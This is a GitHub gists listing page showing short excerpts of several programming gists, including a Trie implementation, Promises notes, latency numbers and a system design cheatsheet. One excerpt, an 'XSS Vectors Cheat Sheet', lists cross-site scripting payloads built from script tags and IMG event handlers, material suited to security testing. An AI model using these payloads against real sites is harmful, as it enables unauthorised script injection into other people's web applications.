Skip to content

Instantly share code, notes, and snippets.

View rupeshdabbir's full-sized avatar
🎯
Focusing

Rupesh Dabbir rupeshdabbir

🎯
Focusing
View GitHub Profile
// The core app code
var myApp = (function () {
'use strict';
// Create a public methods object
var methods = {};
/**
* Extend the public methods object

Latency Comparison Numbers (~2012)

Name
L1 cache reference 0.5 ns
Branch mispredict 5 ns
L2 cachereference 7 ns 14x L1 cache
Mutex lock/unlock 25 ns
Main memory reference 100 ns 20x L2 cache, 200x L1 cache
Compress 1K bytes with Zippy 3,000 ns 3 us
@victorouse
victorouse / dom.html
Created March 4, 2018 04:57
Facebook Interview: Given two identical DOM tree structures, A and B, and a node from A, find the corresponding node in B
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width">
<title>Facebook DOM Traversal</title>
</head>
<body>
<div id="rootA">
<div>
@TaijaQ
TaijaQ / A DevTools Extension
Last active December 21, 2020 23:45
Guide to Extending DevTools
A DevTools extension adds functionality to the Chrome DevTools. It can add new UI panels and sidebars, interact with the inspected page, get information about network requests, and more.
@kurobeats
kurobeats / xss_vectors.txt
Last active May 3, 2024 11:15
XSS Vectors Cheat Sheet
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">
@tpae
tpae / Trie.js
Created November 20, 2016 23:49
Trie.js - super simple JavaScript implementation
// Trie.js - super simple JS implementation
// https://en.wikipedia.org/wiki/Trie
// -----------------------------------------
// we start with the TrieNode
function TrieNode(key) {
// the "key" value will be the character in sequence
this.key = key;
@joepie91
joepie91 / promises-faq.md
Last active June 25, 2023 09:02
The Promises FAQ - addressing the most common questions and misconceptions about Promises.
@anvk
anvk / promises_reduce.js
Last active October 11, 2023 09:02
Sequential execution of Promises using reduce()
function asyncFunc(e) {
return new Promise((resolve, reject) => {
setTimeout(() => resolve(e), e * 1000);
});
}
const arr = [1, 2, 3];
let final = [];
function workMyCollection(arr) {
Implement a method find that given two lists will find the starting index (indexing is zero based) where the second list occurs as a sub-list in the first list. Your implementation should return -1 if the sub-list cannot be found. Arguments are always defined, non-empty lists.
Sample Input 1
list1 = (1, 2, 3)
list2 = (2, 3)
Sample Output 1
1
@vasanthk
vasanthk / System Design.md
Last active May 3, 2024 16:37
System Design Cheatsheet

System Design Cheatsheet

Picking the right architecture = Picking the right battles + Managing trade-offs

Basic Steps

  1. Clarify and agree on the scope of the system
  • User cases (description of sequences of events that, taken together, lead to a system doing something useful)
    • Who is going to use it?
    • How are they going to use it?